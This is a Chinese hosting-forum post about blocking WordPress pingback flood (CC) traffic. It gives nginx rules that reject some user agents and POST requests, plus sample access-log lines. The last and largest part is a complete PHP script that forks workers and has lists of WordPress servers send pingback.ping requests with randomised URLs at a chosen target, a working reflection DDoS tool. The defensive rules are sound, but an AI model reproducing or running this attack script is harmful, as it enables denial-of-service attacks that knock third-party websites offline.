nginx过滤无聊的pingback CC请求 - 全球主机交流论坛

if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
if ($http_user_agent = "" ) {return 101;}
if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.0" ) {return 400;}
if ( $request = "POST // HTTP/1.0" ) {return 400;}

复制代码

107.170.247.241 - - [15/Apr/2016:10:06:42 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"
107.170.247.241 - - [15/Apr/2016:10:06:43 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"
107.170.247.241 - - [15/Apr/2016:10:06:58 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"
198.104.59.63 - - [15/Apr/2016:10:06:59 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.1; http://www.guero.com"
92.51.134.237 - - [15/Apr/2016:10:07:00 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0.4; http://www.onlinespiele24.at"
72.249.104.30 - - [15/Apr/2016:10:07:02 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://snapecast.com"
54.162.238.38 - - [15/Apr/2016:10:07:03 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.2; http://agilepoint.com"
72.249.104.30 - - [15/Apr/2016:10:07:03 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://snapecast.com"
208.78.97.111 - - [15/Apr/2016:10:07:05 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://circle-of-life.ca"
184.168.108.6 - - [15/Apr/2016:10:07:06 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.1.2; http://www.rbunited.com"
205.186.151.135 - - [15/Apr/2016:10:07:06 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.1; http://bradpowellonline.com"
67.219.60.120 - - [15/Apr/2016:10:07:07 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.1.3; http://easyhomefix.com"
208.78.97.111 - - [15/Apr/2016:10:07:07 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://circle-of-life.ca"

复制代码

<?php
function partition( $list, $p ) {
$listlen = count( $list );
$partlen = floor( $listlen / $p );
$partrem = $listlen % $p;
$partition = array();
$mark = 0;
for ($px = 0; $px < $p; $px++) {
$incr = ($px < $partrem) ? $partlen + 1 : $partlen;
$partition[$px] = array_slice( $list, $mark, $incr );
$mark += $incr;
}
return $partition;
}
$part = array();
$array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$childcount = $argv[2];
$part = partition($array, $childcount);
$shm_id = shmop_open(23377332, "c", 0666, 1024);
shmop_close($shm_id);
if(pcntl_fork() == 0)
{
$sem = sem_get(13377331, 1, 0666, 1);
$shm_id = shmop_open(23377332, "c", 0666, 1024);
$total = 0;
while(true)
{
sem_acquire($sem);
$number = shmop_read($shm_id, 0, 1024);
$total += $number;
$string = array();
array_push($string, $number);
array_push($string, " R/s ");
array_push($string, $total);
array_push($string, " Total Requests \r");
echo implode("", $string);
unset($string);
shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
sem_release($sem);
sleep(1);
}
exit;
}
for($i = 0; $i < $childcount; $i ++)
{
$pid = pcntl_fork();
if ($pid == -1) {
echo "failed to fork on loop $i of forking\n";
exit;
} else if ($pid) {
continue;
} else {
$sem = sem_get(13377331, 1, 0666, 1);
$shm_id = shmop_open(23377332, "c", 0666, 1024);
while(true)
{
foreach($part[$i] as $ip)
{
list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
$url = array();
array_push($url, $argv[1]);
array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
array_push($url, rand(1000000, 9999999));
array_push($url, "=");
array_push($url, rand(1000000, 9999999));
$request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
unset($url);
$context = stream_context_create(array('http' => array(
'method' => "POST",
'header' => "Content-Type: text/xml",
'content' => $request
)));
@file_get_contents($service, false, $context);
sem_acquire($sem);
$number = shmop_read($shm_id, 0, 1024);
$number = intval($number);
$number++;
shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
sem_release($sem);
}
}
die;
}
}
for($j = 0; $j < $childcount; $j++)
{
$pid = pcntl_wait($status);
}

复制代码